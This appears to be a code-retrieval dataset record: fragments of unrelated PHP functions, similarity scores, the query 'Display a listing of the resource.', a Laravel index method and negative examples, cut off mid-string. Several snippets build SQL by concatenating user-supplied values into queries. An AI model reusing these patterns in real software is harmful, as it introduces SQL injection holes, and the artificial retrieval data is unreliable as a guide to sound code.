{\n $this->layer->setmetadata(\"wms_sld_body\", str_replace('\"', \"'\", $sld));\n }\n $this->layer->set(\"type\", $tipotemp);\n }\n }", "function cl_sau_receitamedica() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_receitamedica\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function restore() {}", "function zap() {\n// $this->id = null;\n }", "public function nahrajObrazky(){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE 1 \";\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function zpracuj($parametry) {\r\n $akce = \"new\";\r\n\r\n // bude-li odeslano take z formulare ma _POST prednost pred URL\r\n if (isset($_POST['akce'])&& (!empty($_POST['akce']))) {\r\n $akce = $_POST['akce'];\r\n } else {\r\n if (isset($parametry[0]) and in_array($parametry[0], ObjektKontroler::$typakce))\r\n $akce = $parametry[0];\r\n };\r\n\r\n if ((!isset($_POST['list'])) and isset($parametry[1]))\r\n $_POST['list'] = $parametry[1];\r\n\r\n\t\t//Debug::p($akce);\r\n\r\n $this->pohled = 'nabidka'; // Nastavení implicitni šablony\r\n // Hlavička stránky\r\n $this->hlavicka['titulek'] = 'Editor nabidky';\r\n $nab = new NhlavickaClass();\r\n\t\t$nab->data[\"nazev\"]=\"Nabidka XY\";\r\n\t\t$nab->data[\"id\"] = $nab->insert($nab->data);\r\n\t\t$nab->data[\"nazev\"]=\"Nabidka \".$nab->data[\"id\"] ;\r\n // Byl odeslán formulář\r\n if ($akce == \"new\") {\r\n\t\t\tif ( empty($_POST['list'])){\r\n\r\n\t\t\t}else{\r\n\t\t\t\t//je to seznam objektu oddelenych carkou \"15,12,78\"\r\n\t\t\t\t$polozky = explode(\",\",$_POST['list']);\r\n\t\t\t\tforeach ($polozky as $polID){\r\n\t\t\t\t\t$obj = new ObjektClass();\r\n\t\t\t\t\t$obj->get($polID);\r\n\t\t\t\t\t$pol = new NpolozkaClass();\r\n\t\t\t\t\t$pol->setByObjekt($obj);\r\n\t\t\t\t\t$pol->insert();\r\n\t\t\t\t}\r\n\t\t\t}\r\n $this->data = $nab->data; // Proměnné pro šablonu\r\n $this->data['titulek'] = 'Nová nabídka';\r\n\t\t\t// po odeslani formulare uloz\r\n $this->data['akce'] = 'insert';\r\n\t\t\t// $akce = 'insert'; // po odeslani formulare uloz\r\n }\r\n\r\n if ($akce == \"view\") {\r\n $nab->get($parametry[1]);\r\n $nab->data = array_intersect_key(array_merge(array_flip(NhlavickaClass::$sloupce), $nab->data), $nab->data);\r\n $this->data = $nab->data;\r\n $this->data['akce'] = 'save';\r\n $this->data['titulek'] = 'Detail nabídky ' . $nab->data['nazev'];\r\n Zprava::zobraz('Objekt k detailu byl vybrán');\r\n $this->pohled = 'DetailObjekt';\r\n }\r\n if ($akce == \"ObnovSkryj\") {\r\n DB::proved(\"UPDATE objekt SET status = (- status) WHERE objekt_id = ? \", array($parametry[1]));\r\n Zprava::zobraz('Objekt byl zneplatněn');\r\n $this->presmeruj('/objekt/edit/' . $parametry[1]);\r\n }\r\n if ($akce == \"delete\") {\r\n DB::proved(\"DELETE FROM obr WHERE id_objekt= ? \", array($parametry[1]));\r\n\t\t\tDB::proved(\"DELETE FROM objekt WHERE objekt_id = ? \", array($parametry[1]));\r\n Zprava::zobraz('Objekt byl smazán');\r\n $this->presmeruj('/');\r\n }\r\n\r\n\r\n if ($akce == \"insert\") {\r\n\r\n $nab->data = array_intersect_key($_POST, array_flip(NhlavickaClass::$sloupce));\r\n $nab->data['status'] = 1;\r\n $this->data = $nab->data;\r\n // zaloz noveho\r\n $this->data['objekt_id'] = $nab->insert($nab->data);\r\n $this->data['titulek'] = 'Editace objektu';\r\n // budu ho pak editovat\r\n $this->data['akce'] = 'edit';\r\n Zprava::zobraz('Objekt byl založen');\r\n $this->presmeruj('/nabidka/edit/' . $this->data['id']);\r\n }\r\n\r\n if ($akce == \"edit\") {\r\n //najdu objekt podle objekt_id\r\n $obj->get($_POST['objekt_id']);\r\n $obj->data = array_intersect_key(array_merge(array_flip(NhlavickaClass::$sloupce), $obj->data), $obj->data);\r\n $this->data = $obj->data;\r\n $this->data['akce'] = 'save';\r\n $this->data['titulek'] = 'Editace objektu ' . $obj->data['nazev'];\r\n Zprava::zobraz('Objekt byl vybrán');\r\n }\r\n if ($akce == \"save\") {\r\n\t\t\t//najdu objekt podle objekt_id\r\n\t\t\t// $obj->get($_POST['objekt_id']);\r\n $obj->data = array_intersect_key($_POST, array_flip(NhlavickaClass::$sloupce));\r\n $this->data = $obj->data;\r\n $obj->data['status'] = 2;\r\n $obj->update($obj->data);\r\n $this->data['akce'] = 'edit';\r\n $this->data['titulek'] = 'Editace objektu ' . $obj->data['nazev'];\r\n Zprava::zobraz('Objekt byl upraven');\r\n\t\t\t// //pridam obrazky udelam to pres Ajax\r\n\t\t\t// $img = new ObrClass();\r\n\t\t\t// $img->data['id_objekt'] = $obj->data['objekt_id'];\r\n\t\t\t// $img->insertFILES();\r\n $this->presmeruj('/nabidka/edit/' . $this->data['objekt_id']);\r\n }\r\n\r\n if ($akce == \"seznam\") {\r\n //seznam vsech objektu\r\n $obj->select( ' status >= ? ', Array(0) );\r\n // Debug::p($obj);\r\n $this->data['seznam'] = $obj->data;\r\n $this->data['akce'] = 'seznam';\r\n $this->data['titulek'] = 'Seznam objektů';\r\n Zprava::zobraz('Vybráno ' . count($this->data['seznam']) . ' objektů');\r\n // $this->presmeruj('/objekt');\r\n $this->pohled = 'objekty';\r\n if (isset($parametry[1]) and $parametry[1] === 'T')\r\n $this->pohled = 'objektyTab';\r\n }\r\n }", "public function restored(Lote $lote)\n {\n //\n }", "public function afterFind()\n {\n if ($this->name_translit === null || $this->name_translit === '') {\n $this->name_translit = strtolower(Yii::$app->subcomponent->transliterate($this->name));\n //сохраняем транслит названия в БД (посмотреть другой способ, т.к. , кажется , этот не совсем правильный)\n Yii::$app->db->createCommand()->update(self::tableName(), ['name_translit' => $this->name_translit], \"id = $this->id\")->execute();\n }\n\n //$this->categories->cat_name_translit = strtolower(Yii::$app->subcomponent->transliterate($this->categories->name));\n\n }", "public function hapus_toko(){\n\t}", "public function revert();", "function applyFilterUdaljenost( & $polje_polja_hotela, $udaljenost)\n\t{\n\t\tforeach($polje_polja_hotela as $kljuc => $polje)\n\t\t\tforeach($polje as $key => $hotel)\n\t\t\t\tif($hotel->udaljenost_od_centra > $udaljenost)\n\t\t\t\t\tunset($polje_polja_hotela[$kljuc][$key]);\n\t}", "function cl_rhconsignadomovimentoservidorrubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhconsignadomovimentoservidorrubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public static function Vypis_kolize_pro_formular_a_lokaci($iducast, $formular, $lokacekolize ) {\r\n $kolize_pole = self::Najdi_kolize_pro_formular_a_lokaci($iducast, $formular, $lokacekolize);\r\n \r\n // zobrazeni hlaseni a policek kolizi ve formulari\r\n foreach ($kolize_pole as $kprvek) {\r\n //var_dump($kprvek);\r\n \r\n if ($kprvek->kolize_nastala) {\r\n self::Vypis_jednu_kolizi_do_formulare($kprvek);\r\n }\r\n } \r\n\r\n}", "public static function Znevalidni_kolize_ucastnika_formulare($iducast,$formular) {\r\n//echo \"<hr><br>*Znevalidnuji vsechny kolize ucastnika , formular=\" . $formular;\r\n \r\n $dbh = Projektor2_AppContext::getDB();\r\n\r\n //vyberu vsechny ulozene kolize z tabulky uc_kolize_table\r\n $query= \"SELECT * FROM uc_kolize_table left join s_typ_kolize on (s_typ_kolize.id_s_typ_kolize = uc_kolize_table.id_s_typ_kolize_FK) \" .\r\n \"WHERE id_ucastnik=\" . $iducast . \" and s_typ_kolize.formular='\" . $formular . \"' and uc_kolize_table.valid\" ;\r\n \r\n //echo \"<br>*dotaz na kolize v Znevalidni_kolize_ucastnika_formulare: \" . $query;\r\n \r\n $sth = $dbh->prepare($query);\r\n $succ = $sth->execute();\r\n \r\n while($zaznam_kolize = $sth->fetch()) {\r\n //echo \"<br>*Znevalidnuji kolizi: \" . $zaznam_kolize[id_uc_kolize_table];\r\n \r\n $query1 = \"UPDATE uc_kolize_table SET \" .\r\n \"valid=0 WHERE uc_kolize_table.id_uc_kolize_table=\" . $zaznam_kolize['id_uc_kolize_table'] ;\r\n $data1= $dbh->prepare($query1)->execute(); \r\n }\r\n \r\n//echo \"<hr>\";\r\n}", "function rewind (){ $this->key = -1; }", "abstract protected function _restoreStandardValues();", "private function f_ListarValidado(){\n $lobj_AccesoZona = new cls_AccesoZona;\n //creo la peticion\n $pet = array(\n 'operacion' => 'buscarZonas',\n 'codigo_usuario' => $_SESSION['Con']['Nombre']\n );\n //guardo los datos en el objeto y gestiono para obtener una respuesta\n $lobj_AccesoZona->setPeticion($pet);\n $zona = $lobj_AccesoZona->gestionar();\n $cadenaBusqueda = ' where codigo_zona in(';\n if($zona['success'] == 1){\n for($x = 0;$x < count($zona['registros']) - 1; $x++){\n $cadenaBusqueda .= $zona['registros'][$x].',';\n }\n $cadenaBusqueda .= $zona['registros'][count($zona['registros']) - 1].' ';\n }\n $cadenaBusqueda .= \") \";\n $cadenaBusqueda .= ($this->aa_Atributos['valor']=='')?'':\"and nombre_finca like '%\".$this->aa_Atributos['valor'].\"%'\";\n $ls_SqlBase=\"SELECT * FROM agronomia.vfinca $cadenaBusqueda\";\n $orden = ' order by codigo_productor,letra';\n $ls_Sql = $this->f_ArmarPaginacion($ls_SqlBase,$orden);\n $x=0;\n $la_respuesta=array();\n $this->f_Con();\n $lr_tabla=$this->f_Filtro($ls_Sql);\n while($la_registros=$this->f_Arreglo($lr_tabla)){\n $la_respuesta[$x]['codigo']=$la_registros['codigo_productor'];\n $la_respuesta[$x]['nombre']=$la_registros['codigo_productor'].'-'.$la_registros['letra'];\n $la_respuesta[$x]['id_finca']=$la_registros['id_finca'];\n $x++;\n }\n $this->f_Cierra($lr_tabla);\n $this->f_Des();\n $this->aa_Atributos['registros'] = $la_respuesta;\n $lb_Enc=($x == 0)?false:true;\n return $lb_Enc;\n }", "function f_app_lov_return_label($lov)\n {\n//############################################ HELP #############################################################################\n/*\n $lov[\"name\"] = \"procesi\"; \t\t\t//DS -> sherben vetem per funksionin lov_name_default_values();\n $lov[\"obj_or_label\"] = \"label\"; \t\t\t//DS -> sherben vetem per funksionin lov_name_default_values(); pranon vetem vlerat object, label; default = object;\n $lov[\"type\"] = \"dinamik\"; \t\t//*DS -> pranon vlerat dinamik, statik;\n $lov[\"tab_name\"] = \"proces\"; \t\t//*D -> per tipin=\"dinamik\" emri tabeles ku do behet select | per tipin=\"statik\" sduhet;\n $lov[\"id\"] = \"id_proces\"; \t\t//*DS -> per tipin=\"dinamik\" emri i fushes qe ruan kodin | per tipin=\"statik\" lista e kodeve te ndara me ndaresin perkates, default ,;\n $lov[\"field_name\"] = \"name_proces\"; \t\t//*DS -> per tipin=\"dinamik\" emri i fushes qe ruan emertimin, mund te perdoret p.sh: Concat(id_proces, ' ', name_proces) | per tipin=\"statik\" lista e emertimeve te ndara me ndaresin perkates, default ,;\n\n $lov[\"layout_forma\"] = \"\"; \t\t//DS -> ka kuptim vetem kur kthehet me shume se nje etikete; ne rast se vendoset vlera 'table' elementet strukturohen ne nje tabele; vlera te ndryshme jane: <br> = elementet thyhen njeri poshte tjetrit; &nbsp = elementet ndahen me nje ose me shume spacio; default = <br>; ;\n\n $lov[\"distinct\"] = \"F\"; \t\t//D -> per tipin=\"dinamik\", pranon vlerat T,F (pra true ose false), default = 'F', pra ti beje distinct vlerat apo jo;\n\n $lov[\"filter\"] = \"WHERE id_proces < 30\";//D -> per tipin=\"dinamik\" kushti i filtrimit te te dhenave, default = '', p.sh: WHERE status = 1 AND id > 0 (mos haroni 'WHERE'); kur kjo ka vlere $lov[\"id_select\"] i shtohet si fitrim shtese;\n $lov[\"filter_plus\"] = \"\"; //D -> per tipin=\"dinamik\" kusht filtrimi shtese, default = '', p.sh: AND status = 1 AND id > 0 (mos haroni qe 'WHERE' ne kete rast nuk duhet sepse duhet ta kete variabli $filter); meret parasysh vetem kur $filter != ''; filtrimi i vlerave kryhet: $filter.\" \".$filter_plus\n\n $lov[\"id_select\"] = \"1\"; \t\t//DS -> vlerat e kodit per te cilat duhet te meren emertimet te ndara me ndaresin perkates default ,(presje); bosh kur i duam te gjitha vlerat; kur eshte vetem nje vlere vendoset vetem vlera e kodit pa presje; selektimi behet me id IN ($lov[\"id_select\"]), per id te tipit stringe mos haroni ti mbyllni ne thonjeza teke;\n $lov[\"order_by\"] = \"name_proces\"; \t\t//D -> emri i kolones qe do perdoret per order, default = $lov[\"name\"] | per tipin=\"statik\" sduhet;\n\n $lov[\"ndares_vlerash\"] = \",\"; \t\t//S -> stringa qe ndan vlerat e listes statike (kod dhe emertim), default = ,(presje);\n $lov[\"class_etiketa\"] = \"\"; \t\t//DS -> emri i klases ne style per etiketat, vetem ne rastet kur strukturohen ne tabele; po spati vlere nuk meret parasysh;\n $lov[\"isdate\"] = \"\"; \t\t//D -> pranon vlerat T,F (pra true ose false), default = 'F'; perdoret kur etiketa eshte e tipit date;\n $lov[\"asc_desc\"] = \"\"; \t\t//D -> per orderin, pranon vlerat ASC,DESC; default = 'ASC';;\n*/\n//###############################################################################################################################\n\n $lov_array_id = \"\";\n $lov_array_name = \"\";\n\n IF (!isset($lov[\"ndares_vlerash\"]) OR ($lov[\"ndares_vlerash\"]==\"\"))\n {$lov[\"ndares_vlerash\"] = \",\";}\n\n //PER LISTEN DINAMIKE ---------------------------------------------------------------------------------------------------------\n IF ($lov[\"type\"] == \"dinamik\")\n {\n IF (!isset($lov[\"order_by\"]) OR ($lov[\"order_by\"]==\"\"))\n {$lov[\"order_by\"] = $lov[\"field_name\"];}\n\n IF (!isset($lov[\"asc_desc\"]) OR ($lov[\"asc_desc\"]==\"\"))\n {$lov[\"asc_desc\"] = \" ASC\";}\n\n $filter = \"\";\n IF (ISSET($lov[\"filter\"]) AND ($lov[\"filter\"] != \"\"))\n {\n $filter = $lov[\"filter\"];\n \n IF (ISSET($lov[\"filter_plus\"]) AND ($lov[\"filter_plus\"] != \"\"))\n {$filter .= \" \".$lov[\"filter_plus\"];}\n }\n\n IF ((isset($lov[\"id_select\"])) AND ($lov[\"id_select\"] != \"\"))\n {\n IF ($filter == \"\")\n {$filter = \" WHERE \".$lov[\"id\"].\" IN (\".$lov[\"id_select\"].\") \";}\n ELSE\n {$filter .= \" AND \".$lov[\"id\"].\" IN (\".$lov[\"id_select\"].\") \";}\n }\n\n $lov_distinct = \"\";\n IF (ISSET($lov[\"distinct\"]) AND ($lov[\"distinct\"] == \"T\"))\n {$lov_distinct = \"DISTINCT\";}\n\n IF ($lov[\"isdate\"] == \"T\")\n {$sql = \"SELECT \".$lov_distinct.\" \".$lov[\"id\"].\" as id_as, IF(\".$lov[\"field_name\"].\" IS NULL, '',DATE_FORMAT(\".$lov[\"field_name\"].\",'%d.%m.%Y')) AS fusha_as_as, \".$lov[\"field_name\"].\" as field_name_order FROM \".$lov[\"tab_name\"].\" \".$filter.\" ORDER BY field_name_order \".$lov[\"asc_desc\"];}\n ELSE\n {$sql = \"SELECT \".$lov_distinct.\" \".$lov[\"id\"].\" as id_as, IF(\".$lov[\"field_name\"].\" IS NULL, '',\".$lov[\"field_name\"].\") AS fusha_as_as FROM \".$lov[\"tab_name\"].\" \".$filter.\" ORDER BY \".$lov[\"order_by\"].\" \".$lov[\"asc_desc\"];}\n\n $i = -1;\n $rs = WebApp::execQuery($sql);\n $rs->MoveFirst();\n while (!$rs->EOF())\n {\n $id = $rs->Field(\"id_as\");\n $name = $rs->Field(\"fusha_as_as\");\n\n $i = $i + 1;\n $lov_array_id[$i] = $id;\n $lov_array_name[$i] = $name;\n \n $lov_array_id_id[$id] = $id;\n $lov_array_id_name[$id] = $name;\n\n $rs->MoveNext();\n }\n }\n //PER LISTEN DINAMIKE =========================================================================================================\n\n //PER LISTEN STATIKE ----------------------------------------------------------------------------------------------------------\n IF ($lov[\"type\"] == \"statik\")\n {\n $lov_array_id_temp = EXPLODE($lov[\"ndares_vlerash\"], $lov[\"id\"]);\n $lov_array_name_temp = EXPLODE($lov[\"ndares_vlerash\"], $lov[\"field_name\"]);\n\n IF ((ISSET($lov[\"id_select\"])) AND ($lov[\"id_select\"] != \"\"))\n {\n $kaloje_kushtin_stristr = \"N\";\n }\n ELSE\n {\n $kaloje_kushtin_stristr = \"Y\";\n }\n\n $k = -1;\n $id_select_txt = $lov[\"ndares_vlerash\"].$lov[\"id_select\"].$lov[\"ndares_vlerash\"];\n FOR ($i=0; $i < count($lov_array_id_temp); $i++)\n {\n $lov_array_id_txt = $lov[\"ndares_vlerash\"].$lov_array_id_temp[$i].$lov[\"ndares_vlerash\"];\n\n IF (STRISTR($id_select_txt, $lov_array_id_txt) OR ($kaloje_kushtin_stristr == \"Y\"))\n {\n $k = $k + 1;\n $lov_array_id[$k] = $lov_array_id_temp[$i];\n $lov_array_name[$k] = $lov_array_name_temp[$i];\n\n $lov_array_id_id[$lov_array_id_temp[$i]] = $lov_array_id_temp[$i];\n $lov_array_id_name[$lov_array_id_temp[$i]] = $lov_array_name_temp[$i];\n }\n }\n }\n //PER LISTEN STATIKE ==========================================================================================================\n\n //FORMOHET HTML E LOV ---------------------------------------------------------------------------------------------------------\n IF (($lov[\"all_data_array\"] == \"Y\") OR ($lov[\"only_ids\"] == \"Y\"))\n {\n IF ($lov[\"all_data_array\"] == \"Y\")\n {\n $lov_html = $lov_array_id_name;\n }\n \n IF ($lov[\"only_ids\"] == \"Y\")\n {\n $lov_html = $lov_array_id_id;\n }\n }\n ELSE\n {\n $lov_html = \"\";\n\n IF (!isset($lov[\"class_etiketa\"]) OR ($lov[\"class_etiketa\"]==\"\"))\n {$lov[\"class_etiketa\"] = \"\";}\n ELSE\n {$lov[\"class_etiketa\"] = \"class='\".$lov[\"class_etiketa\"].\"'\";}\n\n IF (!isset($lov[\"layout_forma\"]) OR ($lov[\"layout_forma\"]==\"\"))\n {$lov[\"layout_forma\"] = \"<br>\";}\n\n IF ($lov[\"layout_forma\"] == \"table\")\n {$lov_html .= \"<Table border=0 cellspacing=0 cellpadding=0>\";}\n\n FOR ($i=0; $i < count($lov_array_id); $i++)\n {\n IF ($lov[\"layout_forma\"] == \"table\")\n {\n $lov_html .= \"<TR><TD \".$lov[\"class_etiketa\"].\">\".$lov_array_name[$i].\"</TD></TR>\";\n }\n ELSE\n {\n IF ($lov[\"layout_forma\"] == \"<br>\")\n {\n IF ($i == 0)\n {$lov_html .= $lov_array_name[$i];}\n ELSE\n {$lov_html .= $lov[\"layout_forma\"].$lov_array_name[$i];}\n }\n ELSE\n {\n $lov_html .= $lov[\"layout_forma\"].$lov_array_name[$i];\n }\n }\n }\n \n IF ($lov[\"layout_forma\"] == \"table\")\n {\n $lov_html .= \"</Table>\";\n }\n \n }\n //FORMOHET HTML E LOV =========================================================================================================\n\n RETURN $lov_html;\n }", "function resetVotos(){\n\t$sql = 'SELECT * FROM votos';\n\t$resultado = mysql_query($sql);\n\t\n\twhile($row = mysql_fetch_array($resultado)){\n\t\tvotosCero( $row['cancion'] );\n \t}\n}", "function restore()\n {\n }", "function formulaires_moderation_lieu_charger_dist($id_lieu)\n{\n\t$valeurs = array();\n\n\t$valeurs['id_lieu'] = $id_lieu;\n\n\t$row = sql_fetsel(\n\t\tarray('nom','ville','adresse','tel','email','site_web'),\n\t\tarray('spip_lieux'),\n\t\tarray('id_lieu = '.$valeurs['id_lieu'])\n\t\t);\n\n\t$valeurs['nom'] = $row['nom'];\n\t$valeurs['adresse'] = $row['adresse'];\n\t$valeurs['tel'] = $row['tel'];\n\t$valeurs['email'] = $row['email'];\n\t$valeurs['ville'] = $row['ville'];\n\t$valeurs['site_web'] = $row['site_web'];\n\n\treturn $valeurs;\n}", "protected function fixSelf() {}", "protected function fixSelf() {}", "function clearKoms($who){\n\t$r = polacz();\n\t$zapytanie = \"SELECT COUNT(*) FROM komunikaty WHERE PLAYER_ID = \".$who.\";\";\n\t$res = $r->query($zapytanie);\n\t$row = $res->fetch_array(MYSQL_NUM);\n\tif($row){\n\t\t$ilosc = $row[0]-6;\n\t\tif($ilosc < 0)$ilosc = 0;\n\t\t$zapytanie = \"SELECT ID FROM komunikaty WHERE PLAYER_ID = \".$who.\" ORDER BY Data_Kom ASC LIMIT \".$ilosc.\";\";\n\t\t$res = $r->query($zapytanie);\n\t\tif($res) {\n\t\t\twhile ($row = $res->fetch_assoc()) {\n\t\t\t\t$zapytanie = \"DELETE FROM komunikaty WHERE ID = \" . $row['ID'] . \";\";\n\t\t\t\t$res2 = $r->query($zapytanie);\n\t\t\t}\n\t\t}\n\t}\n\t$err = $r->error;\n\trozlacz($r);\n\treturn $err;\n}", "public function rekapLokal($idlokal)\n {\n $formNilai = FormNilai::whereHas('mataPelajaranLokalGuru',function($q)use ($idlokal){\n $q->where('id_lokal',$idlokal);\n })->whereHas('nilai')->get();\n $formNilai->load('nilai');\n \n $lokalSiswa = LokalSiswa::where('id_lokal',$idlokal)->get();\n $datanilai=[];\n $formNilai=$formNilai->groupBy('id_mapel_lokal');\n foreach ($formNilai as $idmp => $form) {\n foreach ($form as $fn) {\n $nilai = $fn->nilai;\n foreach ($nilai as $n) {\n $datanilai[$n->siswa_id][$idmp][$fn->id]=$n->nilai;\n }\n\n }\n }\n $finallRecord=[];\n foreach ($datanilai as $idSiswa=>$mlg) {\n $nMapel=0;\n $totalRerata=0;\n $finallRecord[$idSiswa]['id_siswa']=$idSiswa;\n foreach ($mlg as $idMLG=>$nilai) {\n $n=0;\n $total=0;\n $nMapel++;\n foreach ($nilai as $nilainya) {\n $n++; \n $total=$total+$nilainya;\n $rerata = $total/$n;\n $totalRerata=$totalRerata+$rerata;\n $rerataSemua = $totalRerata/$nMapel;\n $finallRecord[$idSiswa]['subjek'][$idMLG]['n']=$n;\n $finallRecord[$idSiswa]['subjek'][$idMLG]['nilai']=$nilai;\n $finallRecord[$idSiswa]['subjek'][$idMLG]['total']=$total;\n $finallRecord[$idSiswa]['subjek'][$idMLG]['rerata']=$rerata;\n $finallRecord[$idSiswa]['jumlahSubjek']=$nMapel;\n }\n }\n }\n foreach ($finallRecord as $idSiswa=>$isi) {\n $finallRecord[$idSiswa]['totalRerata']=0;\n foreach ($isi['subjek'] as $subjek) {\n $finallRecord[$idSiswa]['totalRerata']+=$subjek['rerata'];\n }\n $finallRecord[$idSiswa]['rerataTotal']=$finallRecord[$idSiswa]['totalRerata']/$finallRecord[$idSiswa]['jumlahSubjek'];\n }\n $rankedFinallRecord = collect($finallRecord)->sortByDesc('rerataTotal');\n return $rankedFinallRecord;\n }", "public function reset() {\n\t\t\t$this->arList = NULL; \t\n\t\t}" ]
[ "0.5723918", "0.56329316", "0.5518935", "0.54879904", "0.5441282", "0.54148877", "0.5397873", "0.53850436", "0.5329117", "0.5326034", "0.5321027", "0.5309758", "0.52888864", "0.52862227", "0.52798945", "0.5276347", "0.52623266", "0.5258934", "0.52546966", "0.5217212", "0.5183852", "0.5181127", "0.51810664", "0.51702434", "0.5170158", "0.5161427", "0.51534057", "0.51534057", "0.51454824", "0.51399714", "0.51358235", "0.5109286", "0.5096509", "0.50917554", "0.5082561", "0.5080552", "0.50776005", "0.50716", "0.5042818", "0.5038797", "0.50286347", "0.5025221", "0.50231785", "0.50161296", "0.50051266", "0.49951503", "0.49935347", "0.49909806", "0.49850565", "0.49833152", "0.49712586", "0.49644974", "0.49631405", "0.4958962", "0.4953205", "0.494366", "0.49435145", "0.49415872", "0.4940165", "0.49318928", "0.49278042", "0.49236137", "0.49225664", "0.49207258", "0.49182406", "0.49178275", "0.49120918", "0.49087182", "0.48997015", "0.4898785", "0.48953587", "0.48924503", "0.48886728", "0.48766038", "0.48714957", "0.48622155", "0.48620018", "0.48528442", "0.4851644", "0.48460647", "0.483908", "0.4832609", "0.48302278", "0.48266152", "0.48256895", "0.48240772", "0.48221505", "0.48188913", "0.48153785", "0.4811191", "0.48068443", "0.4806067", "0.48053", "0.48050463", "0.48035905", "0.4802451", "0.48007998", "0.48007998", "0.48001575", "0.47956052", "0.47935167" ]
0.0
-1
Display a listing of the resource.
public function index() { $poste_charges = Poste_charge::all(); return view('poste_charges.index', ['poste_charges' => $poste_charges]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= 